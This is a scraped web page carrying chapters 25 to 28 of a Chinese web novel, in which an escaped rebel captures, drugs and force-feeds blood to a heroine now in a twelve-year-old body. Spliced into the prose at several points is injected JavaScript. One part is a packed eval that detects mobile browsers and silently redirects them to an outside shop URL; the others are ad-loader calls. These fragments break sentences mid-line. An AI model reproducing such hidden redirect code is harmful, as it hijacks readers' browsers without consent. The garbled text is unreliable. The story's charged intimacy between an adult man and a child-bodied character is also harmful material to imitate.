她的脑海突然浮现出一串破碎的名字,字符不断重组,一点点拼凑成她熟悉的样子。 霍尔。 赫伯特·霍尔。 不、不……真正的霍尔不是被关进了危机管理局吗!他到底是谁? “老板──她很危险。”黑衣人们都很想上去劝阻,却又因骨子里的畏惧而闭上了嘴。 霍尔笑了笑,唇角的弧度越发渗人。 他张开双臂,将伤痕累累的少女抱入怀中,全身心地沉沦于她的气息,锋利的牙齿埋在嬴欢的后颈,他对她说:“万幸,是我先找到了你。” 熟悉的力度,刚好足够刺透皮肤,她的颈部肌肉已经形成了条件反射,下意识地紧绷。 白光一闪,不间断的记忆洪流向她奔涌而来。 她露出痛苦的神色,记忆中模糊的脸变得越来越具体。 血、漆黑的道路、黑衣人…… 她怔怔望着距离自己极近的男人,他的眼角残留着一道菱形疤痕,像一片石蒜的花瓣,诡谲无比。 瞳孔骤然颤动,“哈哈哈哈哈──霍尔──是你,为什么是你?” 她奋力将身上的男人推开,反身将其压制,双手牢牢嵌住他的喉咙。 顾不得生理与精神上的双重痛楚,嬴欢一门心思只想杀死眼前的人。 他们间的孽缘跨越了时空,嬴欢没想到今天竟然会在这里再次见到这个男人。 * 赫伯特·霍尔,C-012的主要反叛者,以黑色产业链起家。 从小生活在让人闻风丧胆的旧工业区里,无父无母,性格阴郁恶劣,但擅长结交朋友。 长大后跟着一群流浪者替人卖命,在见不得光的领域里不断摸爬滚打,最后一步步成为了旧工业区的头号人物。 手上第一次沾上鲜血时,他十二岁。 最后一次沾上鲜血时,他二十二岁。 从被人嫌弃的孩童到如今坐拥半壁江山的“王”,他只花费了不到十年时间。 不过——让高高在上的“王”成为管理局的阶下囚,嬴欢只花了一年。 * 执行这个任务大概也是在三四年前了,那时「001号」的名号还未有如今这般响亮。 年幼的她心性稚嫩,做事冲动又不考虑后果,毅然选择以身为饵,独自闯入旧工业区。 也许是她运气好吧,只用了点儿小伎俩便获取了霍尔的信任,然后毫不犹豫地“手起刀落”。 那一趟她不仅捣毁了他的研究所,并使得霍尔集团全盘覆灭,顺手还帮管理局的人添了点儿业绩。 不过——最最最重要的是,让「001号」这个代号在全星际一举成名。 积分结算的那一天,嬴欢第一次登上了天梯榜榜首。她发誓,那是她最感谢霍尔的一刻。 * 回到眼前。 嬴欢本以为把他送进管理局时会是他们间的最后一次见面。然而谁能来告诉她,霍尔究竟为什么会出现在模拟世界里! 难不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722159|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管理局的那些人都是饭桶吗! “你还记得我,嬴欢,我很开心。”男人露出欣慰又满足的神色,连眼角的那道疤痕都显得不那么恐怖了。 温暖的手心擦拭着即将干涸的血液,像把玩着一颗生长于暗黑森林中的毒苹果。 他轻飘飘地望了眼远处浓烟滚滚的废墟,天空的一角被熏成了灰黄色,四周弥漫着建材燃烧后留下的浑浊气息。 “你还是这么喜欢怜悯别人……哪怕是失忆的你也做了和以往同样的选择,该说不愧是你吗,嬴欢。” 他毫不怜惜地按压她受伤的腿,那里已见森森白骨,触目惊心。 “你也不差嘛……竟然、都能跟到、模拟世界来。”嬴欢的眼睛已经快睁不开了,但嘴上却还在硬撑。 男人轻轻拍着她的脊背,将她冰凉的脸靠在自己的胸前,感受着她的体温如何一点一点流失。 ——她马上就会死在自己的怀里。 意识到这一点后,霍尔的双颊染上了兴奋的潮红。 他一遍遍于梦中见到此景: 亲眼见证最恨之人在自己怀中死去,亲手阖上她美丽的双眼,亲自将其埋葬于无人之境。 嬴欢已经因为失血过多陷入了昏迷,独留他一个人望着她碎碎念。 “这个世界的你还是这么倔强。” “为什么呢,嬴欢。” “为什么一次又一次与我对立,又为什么要让自己陷入险境?” “陌生人的命真有那么重要吗,值得你第二次向死神献出自己?” “我好想你,很想念、很想念你……哈哈、哈哈哈哈……” * 嬴欢做了一个梦。 无数个模糊的身影站在她的对面,他们撕开透明的墙壁,如潮水般向她涌来。 不要──不要过来—— 她不断退后,忽然失足跌入了一个无尽的黑洞。 身体不断坠落,嬴欢猛然从梦中惊醒,神经如弦紧绷,她看见了一片暖白色,是熟悉的医院天花板。 差点就忘了,这里是C-012。 嬴欢松了口气,刚一醒来便觉得有些头晕眼花,她想或许是化学试剂带来的后遗症,也有可能是脑震荡。 她的双腿被垫置了软枕,是很舒适的羊绒质地。 嬴欢摸了摸自己的身体,衣服换了一身新的丝绸睡衣,而不是千篇一律的老式病号服。 这里不像是公立医院,更像某个富人的私人产业,房间里的一切都无比华贵,让嬴欢感到有点儿无所适从。 她的床头放着一束新鲜的花束,是浅蓝色的勿忘草,浓绿色的叶片将小花裹在内里,娴静而淡雅。 “……”嬴欢怔怔看着窗外的黄鹂,并没有觉得放松,反而更加觉得沉闷。 她揉着太阳穴,不断咳嗽。 也不知道那实验室里到底都研究的是什么东西,连机械体都能腐蚀。 她得好好问问那个恶魔。 嬴欢用力锤了锤手边的通讯按钮,几乎把气全都撒在了上面。 “嬴欢女士?您终于醒了!” “叫霍尔滚来见我。” “呃,好、好的!请您稍等片刻,我这就通知霍尔先生。” 嬴欢闭上双眼,竭力去调整自己繁乱的心境,这次的记忆来得实在太突然,还没等她好好消化就昏了过去。 她隐隐有了一种对未来的厌倦感,她害怕这种事会成为她生命的一部分,她遇见的每一个人都将成为她的碎片,日复一日、周而复始。 而她,无权抵抗。 26. C-012(六) 男人刚进来就看见了少女恬静的睡颜,阳光、花束、黄鹂鸟…… 所有的一切都偏爱着她。 他走向床边,将西装外套随手扔在沙发上,阴影将少女全部笼罩。 说起来有些荒诞,眼前的嬴欢年龄竟然回到了12岁,一个半大的少年罢了。 无害、温顺、纯真——至少表面看上去如此。 她和他之间从来没有如此平和的待在一起过,也正因如此,眼前这副画面才显得尤为珍贵。 他靠在床头,瞳孔周围泛着鲜明的赤铜色,像几世纪前那些暗□□里走出来的吸血鬼王子。 “我们该用怎样的身份来称呼彼此呢?仇人?宿敌?肃清者与反叛者?又或者是军校生和在逃犯?” 霍尔觉得自己像在对一个睡着的小姑娘讲睡前故事,还是那种很啰嗦的狗血十八线剧情。 很快他就被自己的想法逗笑,“那时的你有多狠心呢?你毁了我的所有,我的一切。” 霍尔缓缓牵起她的左手,力道隐隐加重,仿佛要扯断她一只手似的,把那只孱弱的手腕折叠至可怕的程度。 “你亲手把我送进管理局的情景可还历历在目呢,我猜那一刻你肯定很开心吧?” 当他的双手被手铐牢牢拷住时,她在想些什么呢?是否有哪怕一秒钟在为他感到歉疚? 答案或许早已不言自明,她就是个没心没肺的女人,能期待什么呢? 宇宙星际遍扬她的英明神武,殊不知背后是数以千计的“受骗者”为代价。她是个老练的骗子——只不过目标是穷凶极恶的反叛者罢了。 “局里那几个不安分的家伙,他们坏了我不少好事,如果没有他们阻碍,说不定我会更早找到你……”说到这里,那两撇浓褐色眉毛拧成了一团。 “……罢了,你不会想听到那些疯子们的名字,但……总有一天你会再见到他们。” 他的眼睫微微垂落,谁让这女人欠的债太多了呢?与她结仇结怨的可远远不止他一个。 “不过你这废物家伙可别忘了,我霍尔才是第一个找到你的。”霍尔用力捏了下少女的鼻梁,声音里含着几分恨铁不成钢。 两只眼球在薄薄的眼皮内转动了几下,睫毛随之颤动,似乎很不满他的做法。 他拨动那柔软的发丝,轻轻触碰着那漂亮的耳廓,指尖从脸颊一路流连,最终停留在脖子前的银色项链——来自某位院长的“杰作”。 他心头多了几分浮躁感。 霍尔欲要扯下那项链,就在手指发力的前一刻,被身下之人反手钳住。 少女慢悠悠地张开眼皮,没有丝毫睡着的迹象,“看来某些人在旧工业区的那些习惯还没改掉。” “我不知道你在说什么。”霍尔无辜地看着她的眼睛,摊开手掌,项链还好好地挂在她的胸前。 嬴欢懒得和他扯皮,直接问出心中所想:“你到底怎么进来的──我是说,你究竟靠什么手段进入这个世界的?” 他那些话的信息量实在又多又杂,嬴欢闭眼听了半天也没听到她想听的,还不如她直接拷问方便得多呢。 霍尔见她这副模样,也是毫不客气地坐在病床旁的单人沙发上,领带一扯,他耸了耸肩。 “矩阵。我还得谢谢你们亲爱的院长呢。” 嬴欢转了转眼珠,尝试把记忆往前倒带。 矩阵开启的那一刻,她确实看到一个黑影落在自己身边,因为速度实在太快,根本分不清那黑影是人是鬼,所以也就是在那个时刻,霍尔随着他们一起进入了这个世界。 “……” 嬴欢忍了好久才把“你有病吧”这句话咽回肚子里,“所以……你大老远从管理局来到这里,有什么目的?” 总不可能是向她寻仇来了吧?都过去这么多年了,这人难道这么小心眼? 而且现在通货膨胀多严重啊!管理局供吃供喝还供住宿,这么好的铁饭碗就偷着乐去吧! “见你。” 空气中突然冒出两个字,像沸腾的热锅里多了两颗冰块。 嬴欢忽然觉得嗓子痒痒的,连着咳嗽了几声,假装没听见他的回答。 “瞧你这架势——是要把肺都咳出来才罢休?”霍尔抱着双臂,看着她作秀。 “霍尔……” “叫我赫伯特。” 嬴欢觉得头越来越痛了,她像死尸般望着男人的方向:“行——赫伯特,你知不知道‘越狱’是重罪?你知不知道自己造成了多严重的后果!” 如果不出什么意外的话,这次反叛者出逃的事肯定早已在外面闹得沸沸扬扬了——星际危机管理局首次发生反叛者越狱事件,此事必定会对星际联合政府造成严重的形象损失,而余波扩散所带来的影响更是难以估量。 管理局负责人此刻说不定正眼巴巴在传送点等着呢,这可是动辄掉脑袋的大事。 “你说后果?我霍尔从来不在乎什么后果。”霍尔波澜不惊,说出的话更是充满了轻蔑,“倒是你——哪怕是失忆也不能让你学乖一点儿,竟然还成了军校生。” 话题莫名一转,她没想到的是,霍尔竟然提到了“失忆”这个点,难道他知道些什么? 嬴欢不由自主地抓紧被角,屏息等待他的下文。 霍尔被她的反应逗笑,“看来某人真的很期望从我口中得到什么有效信息啊!” 嬴欢无言瞪着他,所以自己为什么要对一个在逃犯抱有期待? 可是……万一呢?万一这个疯小子真知道什么信息…… 她的下颚骨被一只掌心抬了起来。 距离被动拉近,嬴欢盯着那薄厚适中的唇瓣空白了几秒。 四周被一片张扬而辛辣的香水味所包围,带着一点点藏红花与肉桂的气息,但仔细回味能感知到其中浓郁的柑橘主调。 也不知道是不是嗅觉出了问题,她总觉得这个张牙舞爪的男人像只小蛋糕,纯甜口的那种。 “你在利用人之前,是不是也要给点儿对等的好处?” 他们两人的姿势变得逐渐奇怪。男人的半只腿死死压住少女的一只手,粗粝的手心托着她的脸部,黑黢黢的身影仿佛随时会压下来。 嬴欢脸色变得精彩极了,就差啐他一脸口水,然后再来套上下左右勾拳,让他认识认识什么叫做“士可杀不可辱”。 几个深呼吸后,她摇了摇头,“看来你搞错了一点,我们之间可从来不是什么平等的关系。” 他是在逃的通缉犯,而她是个失忆的废物,如果她现在不是个12岁小屁孩儿的话,恐怕早就直接血溅当场了。 霍尔咬了咬牙,着实是被她那副认真的表情气笑了,“好、好——那你倒是说说,我们究竟是什么样的关系?” “我想喝水。” 她的话戛然而止。 这是在把他当作仆人差使吗?气头上的霍尔危险地眯了眯眼睛,她在刻意躲开他的提问,她在逃避! 眼前的男人仿佛静止了般,只剩下胸腔还在隐隐跳动,气氛压抑得可怕。 嬴欢又忍不住咳嗽了几下,一副气若游丝、半死不活的模样。她试图伸手去拿水杯,指尖触碰至杯壁的一刹那间,被一只大掌截胡。 砰!一切都只发生在一瞬间。 玻璃杯狠狠摔在了地面上,四分五裂,仅剩下一滩明亮的水渍。 嬴欢的心也跟着颤了颤,悄悄看了眼地上的玻璃杯,心道可怜。 再抬首,那双近在咫尺的眼眸竟然在散发着隐隐的黑雾。 嬴欢还以为自己吃了什么致幻蘑菇,两眼瞪得老大:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你……”什么情况,这哥们短短几秒里进化了? 男人举起右手,一块锋利的玻璃碎片乘着黑雾缓缓抵达他的手心里。他将尖锐的部分对准自己另一只手臂,毫不犹豫地费力一划。 血,喷涌而出。 要不是腿上还打着石膏,恐怕嬴欢现在已经跑出十公里外了。哪有正常人一言不发就开始对自己动刀的?而且还是当着死对头的面! 嬴欢颤颤巍巍想要去摸呼叫器,还没等她伸出手,一团暗红色的雾气骤然袭来,将两只手腕牢牢控制在头顶两侧。 “或许,我根本不需要你的答案。”血液在手臂上蜿蜒绵亘,他低低地笑。 他俯下头颅,用流动的血液将少女的嘴部完全堵住,不顾她的挣扎。 “唔——” 浓厚的铁锈味在唇齿间蔓延,嬴欢在慌忙间胡乱咬着他的血肉,企图用舌尖抵住那伤口。 疯子!活脱脱的疯子! 流淌进她喉咙里的血液并非人类那般鲜红,而是更深一些的乌紫色,同样萦绕着一层薄薄的雾气。 少女的嗅觉细胞此时此刻变得更加敏感,她嗅到了其中一丝甘甜的气味,宛若恶魔的呼唤,一点一点地引诱着她继续蚕食。 不、不要。 恶心,恶心,恶心! 房间里传来少女的哀恸声,血液已经浸透了大半片衣襟,它们仿佛有生命力似的,钻入她的喉管,直达胃部。 她甚至不知道是否该称其为“血”,一个人类不可能流这么多血都还能保持正常的状态。 除非……除非他根本不是人类…… 能对实体进行控制的红雾,还有不正常的血液颜色…… 她的大脑顿时变得清醒。 他想做什么?自己会死在这里吗? 嬴欢绝望地瞪着天花板,一滴热泪从眼角缓缓滑落,埋入墨灰色的发丝里。 时间宛若在这一刻静止了般。 随着滚烫的血液进入喉咙,她的身体正在逐渐变暖,身上糜烂的伤口肉眼可见地愈合,就连视野也一点点变得明晰起来。 到最后,已经分不清是谁在主导这场荒谬的“饮血仪式”。血腥味弥散在整座房间,像活脱脱的人间炼狱。 * 霍尔微微喘息,脸色些许苍白,用拇指擦过她的唇角,“贪心的家伙……” 嬴欢只猜对了一半,他并非纯正的人类血统,而是底层的混血种——血族与人族结合的产物。 他身体里的血谈不上有多纯净,但有一点他很喜欢,就是可以通过血液与血液进行标记。那意味着,无论何时何地,他都能通过彼此血液间的连结来进行“共感”。 这是否足够回答他的问题了呢? ——我们究竟是什么关系? 是彼此间恨意足矣刻骨铭心的关系。 是血肉黏腻相连的关系。 是恨你而又不敢伤害你的关系。 嬴欢的感官在短时间内变得极其灵敏,血管内仿佛有蚁群成队爬过,叫嚣着要吸干他的血液。 霍尔认真地操纵着雾气将少女固定在原位,注视着那双明眸:“你的眼睛……现在可真是漂亮得可怕呢。” 已经饮饱的少女双眸半阖,眼睑下的双瞳颜色不断加深,中央瞳孔与虹膜的界限逐渐消失,达到了真正意义上的纯黑色。 若是仔细看,便会感觉到其中浓烈的“非人感”。 嬴欢的身体不断颤栗着,是喉咙里那股挥散不去的甜腻味所带来的冲击。 她听得到他的声音。她甚至听得到自己的心跳声。 她根本无法控制自己骨子里呼之欲出的兴奋,仿佛有什么沉寂已久的东西被唤醒。 直到很久以后嬴欢才知道——那是来自基因里的不安定感。 27. C-012(七) 经过个把月的修养,嬴欢已经可以下床走动,生活也能够完全自理,终于可以不用看霍尔那张喜欢阴阳怪气的脸了。 此时,二人面对面坐在餐桌上,少女拿着刀叉吃着酱汁牛排,心不在焉地盯着某一处。 “你做了这么多伤天害理的事,就不怕遭报应么?” 霍尔身份特殊,习惯于游走在灰色地带,像他这种人很容易被警察盯上。 今早有几个警方人员彻查了废墟现场,登上了中午的新闻头条。 警方在研究所成立没多久就已经在其中安插了眼线,但这场突如其来的爆炸将计划全部打乱。 这已经是他们第N次想要从研究所排查出新线索来,但每每都是无功而返。 他继续慢条斯理地切割鹅肝,嗓音带着清晨刚醒来时的沙哑:“他们什么也查不到。” “都已经有了一次前车之鉴,我还会蠢到给警方留把柄么?你可真是让人伤心。”他将鹅肝片塞进口中。 他在点她,嬴欢皱了皱眉头,这人不会以为她真的会愧疚吧? 在原本的世界中,嬴欢的心狠手辣导致了集团的崩盘,他也因此落入她的掌心,再亲自被她送至管理局成为了阶下囚。 就算是智力缺陷也该知道长长记性了。 “明明是你活该。”她毫不心软地点评道。 他一笑,“你说得对。” 自霍尔被嬴欢一把扔进危机管理局,看见了那些被嬴欢亲自捉拿回来的男男女女后,他才意识到这还真不一定是他智商的问题。 里面的“疯子”和“精神病”是有不少,但天才和佼佼者也同样多得数不清。 每个人几乎都被嬴欢一手拿捏得团团转,局子里整日怨气冲天,几乎快把管理局变成了阴间地府。 恐怕唯一能在嬴欢这里讨到好处的也只有管理局局长了,毕竟年度业绩全靠她一个人,每次看到嬴欢带人回来嘴都快翘天上去了。 * 用餐完毕,少女用餐巾布擦了擦嘴角,十指交叉在一块儿。 “这些日子来谢谢你的照顾,我也是时候该去寻找我的队友了。”她抱着好聚好散的想法对他道。 她听见餐刀落在盘子上的刺耳声。 这些日子的虚假和谐终于还是被她亲手戳破了,霍尔缓缓攥紧腿间的餐巾,眼底逐渐染上几分疯狂,他低低笑着:“为什么不杀了我,嬴欢。这样你就可以完成任务了不是吗?” 明明我就在你眼前。 红雾在她眼前弥漫,嬴欢想要起身,却再次被那飘渺的东西牢牢桎梏在座位上,她隐隐挣扎,手臂青筋尽数暴起。 她明白他们之间逃不过一场对峙。 于是,她缓慢地抬起头颅,冷声纠正:“审判你的不应该是我,而是法官。”职业道德规定了她不能直接把反叛者就地正法。 嬴欢从始至终只把自己看成无情的“运输”工具,唯一的目标就是把人带回管理局,此后的事项可就不归她的任务范围内了。 “况且,这个世界的反叛者已经更换了新的人选。” “什么意思?”霍尔疑惑不解。 “我不会对一个限制我自由的人说哪怕一句真话。” 霍尔挥手,雾气在空中渐渐散去。 嬴欢看着那双赤色的眼睛,左手打了个响指,一个透蓝的页面隔开在二人之间。 【「白梦长廊」小助手提醒您,剩余反叛者数量:1。】 真是要好好感谢白梦长廊,哪怕在与世隔绝的模拟世界里依旧能够正常运作。 开发这个辅助插件的人真是个天才。 “这三个月里,我不止一次对你尝试过「白梦长廊」特制版捕捉器。”她举起手,一个手铐形状的铁制物品出现在手心里。 只要把捕捉器铐在对应的人的手上,就能使他立即失去行动能力。 不过这小玩意副作用很大,使用时会对任务对象的神经系统造成一定的损伤。除非证据确凿,否则肃清者不得随意对他人使用,否则会有道德风险。 霍尔摸了摸手腕,垂首回忆,他仿佛想到了什么。 “是入睡的时候?” “嗯。” 一说到这儿,嬴欢眼里的怒火蹭蹭往上窜。 这家伙就像离不开奶嘴的娃娃,非要和她在同一个房间睡觉,甚至不惜在她的床边又加了一张床。 既然如此她也就顺便试一试,反正也不会损失什么。 嬴欢继续将手铐拿在手心里把玩,慢慢陈述道:“如你所见,哪怕我对你使用了手铐,小助手界面依旧毫无变化。” 她如愿以偿地在这张脸上看到了一丝惊诧与不解。 她非常喜欢他这副懵懂的样子,哪怕只有一瞬。 “很惊讶,对吗?当你通过克里斯的矩阵来到这里时,世界就已经将你判定成为了任务者。” 毕竟之前的反叛者消失了,世界会自动选出它所认为的新反叛者前来顶替。 反叛者的判定与精神值有关,精神值越低,其成为反叛者的概率越高──这种人被称作反叛预备役,是管理局的重点关注对象。 “所以呢?所以我对你来说毫无作用可言吗!” 嬴欢站起身,向他淡淡点头:“对。”她就这样轻飘飘地否定了他,仿佛这个男人的存在就是原罪。 “不然你还想要什么回答呢?朋友。”她将一步步将男人逼至餐桌边缘,就像压倒一节竹子,他的柔韧程度比嬴欢想象中的还要卓越。 白纸般的脸颊如晚间的鹅毛雪,稍微一碰就会融化。 小小的银色项链落在他的唇上,眼睛微微一阖,抬起唇瓣,用牙齿扯咬着那根项链。 既然背地里做手脚会被讨厌,那他就只好当面来了。 哗啦。 银制链条顺着锁骨掉落在桌面的餐盘中,少女的目光就像万千根针扎在他的全身上下,密密麻麻的电流感穿过他的心脏。 “别这么看我。嬴欢。”他勾住她的肩膀向下,恨不得与自己融为一体。 薄厚均匀,软硬有度。嬴欢用手指触碰着霍尔的身体,像个求知欲旺盛的探索家。 忽然,身后传来一阵敲门声。 “老板,本季度的──”黑西装秘书拿着财报抬起头,默默止住了口。 一个女孩儿以上位者的姿态将一个二十岁出头的男人推倒在餐桌旁,她向来者投去一个眼神,彻骨生寒。 这场面实在冲击力太强,任谁来看都会说一句“你们应该下地狱”的程度。 秘书只能当作什么都没看见,连 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忙退了出去,并且认真关紧了餐厅大门。 老天奶……她们老板竟然是下面那个。 * “看来已经有人看尽某人的丑态了。” “那只不过是一串数据罢了,有什么丑态不丑态的。” “可对我来说,你和数据也没有差别。” “你就一定要刺我几句?” “我以为这是我们间的常态。” 霍尔不断摇头,想要伸出手去寻找她的手指。 她眉眼一凛,用掌心抵挡住他的攻势,反手掐住了他的两边脸颊,仔细端着瞧了瞧。 “霍尔,你天生就这么下贱么?” 那双矜贵高傲的眼睛里仿佛有什么东西破碎了。 从混乱的旧工业区出生的孩子比寻常人更懂得“下贱”二字的讽刺意味。 骄傲如他,明明知道她在激怒自己,可她的每字每句都好似毒箭插入心口,刺痛极了。 下贱到对仇人施以援手,下贱到甘愿屈居仇人身下,下贱到妄想与仇人缠绵悱恻。 不、不是这样。霍尔难以忍受自己心中不断冒出的声音,他一遍又一遍否认,一遍又一遍反驳。 手指插入发丝,眼前的少女逼近他的眼睛:“最后一遍,霍尔——我必须离开这里。” “你、你在这里不开心吗?”他咧开鲜红的唇瓣,声音却是破碎的。 “这不是开不开心的问题……”嬴欢根本没有多余的耐心向他解释。 她这学期的奖学金可全靠这次任务了,要是任务评分高的话可以同时拿到两个学院的奖学金。 若是邬明仪知道自己女儿如此勤俭持家,恐怕会当场流泪吧? 她被奋力推开,空荡荡的餐厅里回响着男人的怒吼。 “那我呢?你有没有考虑过我?”他的声音颤抖不已,为什么得到后总是漫长的失去? 嬴欢稳住他的身形,“管理局的人不久后就会发现你的踪迹,你只需要乖乖跟他们走。” 笑话。她怎么可能会不考虑他呢,总不能放任他继续为非作歹。 “……” 身前的人突然扑了过来,前颈一阵猛烈的刺痛,一伸手便摸到了齿痕与血迹。 这是他发泄委屈和愤怒的方式。 “够了,你知不知道你这次的错误有多严重?”少女将男人压在墙面上。 管理局自打成立以来从未发生过反叛者逃跑事件,这次有了霍尔的先例,谁知道之后会不会有效仿者出现呢? 霍尔垂着深棕色的眼睫,“……” 嬴欢以为他已经深刻认识到了自己的错误,放开压制的手,准备上楼收拾东西。 少女小跑着登上楼梯,阳光尽数倾洒在发间里,光影流动。 刹那间,身后的人举起一把枪,瞄准她的右臂。 砰── 应声倒下。 那双比红尖晶还要璀璨的眼眸布满血丝,他放下手里的麻醉枪,惨白的唇瓣微微颤抖。 枪支掉落在明白色的羊绒地毯上,黑白分明,一如他与她之间那道无法跨越的分界线。 “你永远不会再原谅我了。”他轻轻触碰少女薄薄的眼皮,吻上她的鼻尖。 地毯上垂落的手以不可察觉的力道动了动。 28. C-012(八) 麻醉弹射入了她的肩部,药剂自动注射进她的肌肉组织,经过神经系统的传递产生如大脑空白般的麻木感。 那感觉仅仅一瞬便被吞噬殆尽,但她却作势向下倒去,从楼梯一节一节地滚落下去。 骨骼的疼痛更让人清醒,五脏六腑仿佛移了位置般,嬴欢却硬生生选择了继续演下去。 “你应该乖乖听话的。”她听见他的声音渐渐贴近。 这个叫霍尔的家伙还是太不了解她了,无论哪个方面,嬴欢在心底冷笑。 如果她能被一个小小麻醉弹放倒,那也没必要当什么肃清者了,在白鸟院的观察室里,满屋子的麻醉气体都没能对她造成一点儿实际伤害,指望一颗子弹? 只能说──管理局的人真是废物得十分出彩才会让这么个蠢货跑出来,等她出去一定要先投诉那个垃圾局长。 突然,她察觉到额头迟来的疼痛,是血流了出来。滚烫的血液从额头一路滑过眼皮、鼻尖、胸口,最终没入地毯。 男人触碰着她的额头,紧接着将唇瓣贴在伤口处,血渐渐凝固在她的脸上,像几朵惨烈的杜鹃花。 嬴欢强忍着生理性恶心,手指忍不住蜷缩起来。 “你看,我们早已血肉相融……”他低语。 他抱紧少女的躯体,在窗前的倒影里,他看见了自己痛苦的神色。 那是恨吗?他自己也分不清。 她欺骗他,她忤逆他,她抛弃他。她的罪行难道还不足以让他将她千刀万剐吗! 他应该杀了她……他应该杀了她才对! 霍尔一向不可动摇的念头却在今天,或者更早——在他重新见到她的第一眼开始,如同大厦倾倒般分崩离析。 “你真的想杀了她么。”他逼问玻璃镜面中的自己。 杀了她又如何呢?反正他手下早就沾满了鲜血不是么? 他垂着眸,手指缓缓移动到人类最脆弱的颈部,她的颈动脉充满了活力。 “你想死吗,嬴欢?” 像是触发了关键词似的,嬴欢一下子所有气血都集中在了脑门上,微不可察地蹙了蹙眉。 忽地,那只手掌迅速收紧,以迅猛的姿态牢牢扼住她的颈部,但仅仅几毫秒后便骤然松开。 “嬴欢——我——”霍尔的脑子从未如此混乱过。 有无数个声音在诱导他去杀了她。 他做不到。在看见她皱眉的那一刻他明白他做不到。 “我——我没想过伤害你——” 他指尖一划,血液从他的手腕流出,试图给嬴欢尽数灌下去。 这人是有精神分裂吗?嬴欢忍不住了。 她卯足力气,以肉眼难见的速度将男人翻身压在身下,一个手刀劈了下去,动作利落至极。 甚至连反抗的时间都未给他留下。 * “检查结果怎么样!?” “情况不佳,抢救已经过去半小时了但患者仍在昏迷中。我们初步判断是由后颈部的击打伤所至,造成了比较严重的脑震荡──” 回答完后,医生和护士们匆匆推着呼吸机进入了病房。 秘书快将自己的手心扣烂了,她本来想要提醒霍尔准备开始晚上的会议,可是在别墅找了一圈都没见到人,甚至连嬴欢也不见了。 她想着回到一楼餐厅碰碰运气,刚一进餐厅门就看见玻璃窗全部打开着,地毯上还躺着个人。 好巧不巧,那个人正是她的上司,竟然从早晨一直躺到傍晚。 她现在真是万般后悔,自己就不该相信那个女人!他们老板也不知被下了什么迷药,被这女骗子骗得团团转,还差点儿把命都搭上。 电话响起。是别墅的管家。 “不好了秘书小姐……主人的房间被盗了!” 还没等她说话呢,公司助理也打来了电话会议。 秘书只好一手抓住一个手机,同时听着两个人的电话。 “秘书小姐!有个女人要闯进总裁办公室!” 秘书越听越觉得浑身发凉:“你说有人闯进了集团总部?” 一种不详的预感渐渐萌发。 “给我用尽全部手段拦住她,绝对不能让她在集团肆意妄为!”她冲着话筒大声喊道。 可惜秘书忘了最重要的一点,那女人可能会在没有把握的情况下突击总部吗? “唔──”话筒那边传来行政助理绝望的闷叫声。 一阵衣料摩擦的沙沙声后,如冰块儿般的声音从扬声器传来:“秘书小姐,恐怕你想象中的计划要泡汤了。” 发白的手指攥紧手机。 好歹也在老板身边待了十几年,秘书强行压下愤怒:“你到底想要什么?” 那边沉默了一会儿:“从一开始我就说过了──自由。” 不是成为某人的笼中鸟,享尽着荣华富贵的自由,而是真正的、无需名利与欲望的“自由”。 “你的老板违背了我的意愿,所以──我会让他付出相应的代价。” 通话挂断。 * 同一时间,霍尔集团总部。 嬴欢将手机顺手扔在一旁桌面上,脱下牛仔外套,给地上晕过去的小助理盖好。 外面下起了大雨,雨滴毫不留情地击打在双层玻璃上,大厦里的空调冷得就像制冰机。 “滴哩”一声,嬴欢顺利使用助理的权限进入了总裁办公室。 少女站在办公室中央凝神环望,偌大的房间里设施齐全,仙人掌绿植、沙发、休息室、地毯……忽然,她在书柜底下看见一个小型保险箱。 她盯着那处沉默了几秒。 好吧,她承认自己对此很好奇,那里面一定是很重要的东西。 嬴欢首先还是来到办公桌前,将小型U盘插入电脑,页面跳出一只进度条,开始进入自动拷贝模式。 U盘是她很久前从尤拉那里顺来的,搭载了几乎与尤拉相近的框架系统,是高科技的产物。 毫不夸张的说,这小玩意儿可以破解一切保密系统和防火墙,而且省去了繁杂的人工操作,实用性拉满。 趁着拷贝的时间,嬴欢蹲下身体仔细查看那只钛钢保险箱。 需要八位数密码。 生日?身份证尾号? 虽然很好奇里面的东西,但她可不想把时间都浪费在保险箱上,霍尔名下的雇佣兵增援很快就到,时间宝贵得紧,容不得一丝一毫的差错。 想到这里,嬴欢把目光放回了电脑传输页面上。 45%……47%…… 这也太慢了。嬴欢兀自叹了口气,只能坐在地上继续摆弄着保险箱,时不时朝着落地窗外望去。 * 对面大厦顶部。 “已找到目标。目标位置:集团大厦73层右五窗户,距离300码。” 狙击手正在等待指令。 瞄准镜中的少女防范意识很强,几乎没露出过破绽,狙击手只能凭借着一片若有若无的衣角来确定她是否还在里面。 通常情况下,暴雨天会严重影响瞄准与预判,他不得不集中全部精神来应对这个难缠的女人。 忽然,瞄准镜中的景象变得无比激烈。 纸质资料满窗翻飞,是他们的增援到了。 狙击手屏住呼吸,一眨不眨地细调着伤口方位。 “砰!”里面枪火四起,若是寻常的目标恐怕现在已经被打成筛子了。 可没人敢对少女掉以轻心,他们都知道她是怎么靠着狡猾消灭了研究所那群顶级机械体的。 大概45秒后,枪声逐渐安静下来,只有大雨倾盆落下的沉闷声音。 狙击手开始着重寻找她的身影。 瞄准镜里的大厦现在安静得有些可怕,像阴气沉沉的死人墓。 “任务完成了么?” “……”那边没有回应。 狙击手心一慌,牙齿开始不禁抖动,他又重复了一遍:“队长?队长?收到请回答!” 依旧毫无回应。 雨水不断浇在夜行衣上,手指微微颤抖,连瞄准镜都变得一片雾气蒙蒙。 整座大厦的灯在一瞬间全部熄灭,眼前陷入一片夜的寂静。 他知道,他等不到目标出现了。 * 嬴欢离开前拿走了桌面上的机车钥匙。 